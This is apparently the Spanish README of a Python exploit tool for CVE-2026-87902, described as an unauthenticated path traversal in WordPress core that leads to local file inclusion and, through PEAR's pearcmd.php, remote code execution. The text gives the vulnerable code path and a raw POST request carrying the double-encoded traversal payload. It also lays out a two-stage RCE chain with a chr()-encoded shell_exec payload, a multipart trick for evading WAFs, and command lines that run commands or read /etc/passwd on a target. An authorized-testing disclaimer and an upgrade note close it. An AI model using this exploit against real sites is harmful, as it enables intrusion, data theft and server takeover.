
PoC y escáner en Python para CVE-2026-87902, un path traversal en el núcleo de WordPress que conduce a LFI y RCE basado en PEAR, con bypass de WAF y explotación automatizada.
Inclusión Local de Archivos no autenticada mediante path traversal con doble codificación en el resolvedor de plantillas de página del núcleo de WordPress, con cadena de RCE basada en PEAR.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Crítico) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Control inadecuado del nombre de archivo para Include/Require |
| Afectados | WordPress 4.7.0 – 7.1.1 |
| Corregido | WordPress 7.1.2 + backports a todas las ramas soportadas |
| Autenticación | Ninguna (no autenticado) |
get_page_template() en wp-includes/template.php llama a urldecode() sobre el parámetro de consulta pagename después de que la sanitización ya se ha ejecutado. Una secuencia ../ con doble codificación (%252E%252E%252F) pasa la primera decodificación de PHP como %2E%2E%2F, sobrevive a sanitize_title_with_dashes() (que preserva las secuencias %xx), y luego es decodificada por la llamada tardía a urldecode() de WordPress convirtiéndose en ../ — escapando del directorio del tema.
El método POST es necesario porque redirect_canonical() retorna anticipadamente para solicitudes que no son GET/HEAD, evitando que la ruta sea normalizada antes de alcanzar el código vulnerable.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php arbitrarios fuera del directorio del tema son incluidos y ejecutadospearcmd.php de PEAR (requiere PEAR instalado + register_argc_argv=On)Dos solicitudes POST anónimas logran RCE:
Etapa 1 — Incluir pearcmd.php mediante traversal. La cadena de consulta /?+config-create+/<php-payload>+<output>.php se convierte en el argv de PEAR. El comando config-create escribe datos controlados por el atacante (incluyendo etiquetas PHP) en un directorio con permisos de escritura.
Etapa 2 — Incluir el archivo escrito por PEAR. El PHP incrustado se ejecuta con los privilegios del servidor web.
Los payloads PHP usan codificación chr() (<?=shell_exec(chr(105).chr(100))?>) para evitar caracteres de comillas que wp_magic_quotes() escaparía.
cve-2026-87902.py — verificador automatizado + escáner LFI + exploit de RCE mediante PEAR. Usa http.client para un control de solicitudes byte-exacto (sin re-codificación de librerías).
Python 3.6+ (solo biblioteca estándar — sin dependencias de pip)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*--multipart envuelve el payload en multipart/form-data para evadir la coincidencia de patrones del WAFchr()| Marcador | Significado |
|---|---|
[HIT] | El archivo fue incluido exitosamente |
[---] | Respuesta normal (archivo no incluido) |
[???] | La respuesta difiere significativamente — vale la pena investigar |
[WAF] | Bloqueado por WAF (403) |
[ERR] | Conexión fallida |
page-* (por ejemplo, page-templates/)pearcmd.php de PEAR legible + register_argc_argv=On + /tmp con permisos de escrituraActualice a WordPress 7.1.2 o la última versión de seguridad para su rama (backports disponibles hasta 4.7).
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación de bug bounty. Úsela solo contra sistemas para los que tenga permiso explícito de probar. El acceso no autorizado a sistemas informáticos es ilegal.